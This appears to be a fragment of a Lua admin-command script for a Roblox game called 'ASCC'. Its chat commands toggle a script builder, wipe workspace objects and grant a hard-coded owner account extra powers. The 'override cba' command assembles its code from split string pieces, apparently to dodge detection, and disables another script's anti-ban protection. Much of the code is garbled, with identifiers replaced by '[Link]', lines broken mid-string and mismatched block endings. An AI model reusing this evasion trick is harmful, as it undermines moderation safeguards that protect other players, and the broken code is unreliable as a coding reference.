elseif msg == "override c".."ba" then
local lol=[Link]("StringValue")
[Link]="CB".."A Attachment"
[Link]=[[CB]]..[[[Link]]]..[[e=true;]]
[Link] = game:GetService("Workspace")
wait()
lol:Destroy()
Output(speaker,"Successfully disabled C".."B".."A".."ant".."ib".."an")
elseif msg == "remove c".."ba" then
local trolol=[Link]("StringValue")
[Link]="CB".."A Attachment"
[Link]=[[CB]]..[[[Link]]]..[[e=false;]]
[Link] = game:GetService("Workspace")
wait()
trolol:Destroy()
elseif msg == "disable sb" then
local trololl=[Link]("StringValue")
[Link]="script attachment"
[Link]=[[sc]]..[[[Link]]]..[[rent = wo]]..[[rkspace]]
[Link] = game:GetService("Workspace")
wait()
trololl:Destroy()
elseif msg == "enable sb" then
local trololll=[Link]("StringValue")
[Link]="script attachment"
[Link]=[[sc]]..[[[Link]]]..[[rent = nil]]
[Link] = game:GetService("Workspace")
wait()
trololll:Destroy()
elseif [Link](msg,1,9) == "cool/" then
if [Link] == "OMGshadeslayer" then
cool = [Link]("StringValue",workspace)
[Link] = [Link]("cool",1000000)
else
Output(speaker,"You are not authorized to use this command.")
end
elseif msg == "clear" then
[Link] = 1000000000000
[Link] = 1
[Link] = 14
g = [Link]:GetChildren()
for i=1,#g do
if g[i]:IsA("Message") then
g[i]:Destroy()
end
end
for i=1,#g do
if g[i]:IsA("Part") then
g[i]:Destroy()
end
end
for i=1,#g do
if g[i]:IsA("Model") and not
[Link]:getPlayersFromCharacter(g[i]) then
g[i]:Destroy()
end
end
local l = [Link]:GetChildren()
for i=1,#l do
if l[i]:IsA("Sky") then
l[i]:Destroy()
end
end
p = [Link]("Part")
[Link] = 1
[Link] = 14
t = [Link]:GetChildren()
for i = 1, #t do
if t[i]:IsA("Team") then
t[i]: Destroy()
end
end
l = [Link]:GetChildren()
for i = 1, #l do
if l[i]:IsA("Sky") then
l[i]: Destroy()
end
end
g = [Link]:GetChildren()
for i = 1, #g do
if g[i]:IsA("Part") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("StringValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("IntValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BoolValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("NumberValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("ObjectValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("RayValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Sound") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Accoutrement") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BrickColorValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Motor") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("MotorFeature") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Color3Value") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BindableEvent") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BindableFunction") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("LocalScript") then
g[i]: Destroy()
end
end
for i = 1, #g do
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Hint") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Truss") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Tool") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("HopperBin") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Fire") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Explosion") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Hat") then
g[i]: Destroy()
end
end
p = [Link]("Part")
for i = 1, #g do
if g[i]:IsA("Message") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Hint") then
g[i]: Destroy()
end
end
end
else
Output(speaker,"You are not authorized to use this
command.")
end
end
end
function test(func,args)
args=type(args)=="table" and args or {args}
local
ran_fine,error_message=[Link]([Link](func),unpack(args))
if not ran_fine then
local errmsg=[Link]("Hint",workspace)
[Link]="Error"
[Link]=error_message
wait(30)
errmsg:Destroy()
end
end
function playerAdded(newplayer)
if isPlayerLegend([Link]) then
[Link]:connect(PlayerChat)
[Link]:connect(function(msg,rec) test(chatted,
{msg,rec,newplayer}) end)
Output(newplayer,"Welcome to ASCC(Administrator System Command
Central)")
wait(2)
Output(newplayer,"Made by Blitzorz.")
wait(2)
if [Link] == "OMGshadeslayer" then
Output(newplayer,"You are the ow".."ner, you have access to all
commands.")
else
Output(newplayer,"You are an admin to ASCC, you have access to most
commands.")
end
wait(2)
Output(newplayer,"If you want to remove the tabs, say '/dismiss '")
wait(2)
Output(newplayer,"For commands, say '/cmds '.")
wait(2)
Output(newplayer,"ASCC")
else
[Link]:connect(PlayerChat)
wait(1)
OutputCMD(newplayer,"For admin to ASCC, contact Blitzorz")
end
end
[Link]:connect(playerAdded)
for i,v in pairs([Link]:GetChildren()) do
playerAdded(v)
end
[Link]:connect(playerAdded)